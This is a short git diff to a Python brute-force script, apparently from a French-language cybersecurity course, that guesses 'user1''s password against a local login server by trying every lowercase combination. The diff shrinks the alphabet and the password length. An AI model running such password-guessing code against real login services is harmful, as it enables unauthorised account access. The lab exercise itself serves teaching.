diff --git a/M2/Cybersecurity/bruteforce.py b/M2/Cybersecurity/bruteforce.py index 0fd156f..c2ebb5c 100644 --- a/M2/Cybersecurity/bruteforce.py +++ b/M2/Cybersecurity/bruteforce.py @@ -7,9 +7,9 @@ import requests def bruteforce_user1() -> str | None: """Brute-force pour trouver le mot de passe de user1.""" url = "http://127.0.0.1:5000/login" - alphabet = string.ascii_lowercase + "0123456789" + alphabet = string.ascii_lowercase - for combination in itertools.product(alphabet, repeat=7): + for combination in itertools.product(alphabet, repeat=5): password_attempt = "".join(combination) payload = {"username": "user1", "password": password_attempt, "level": "1"}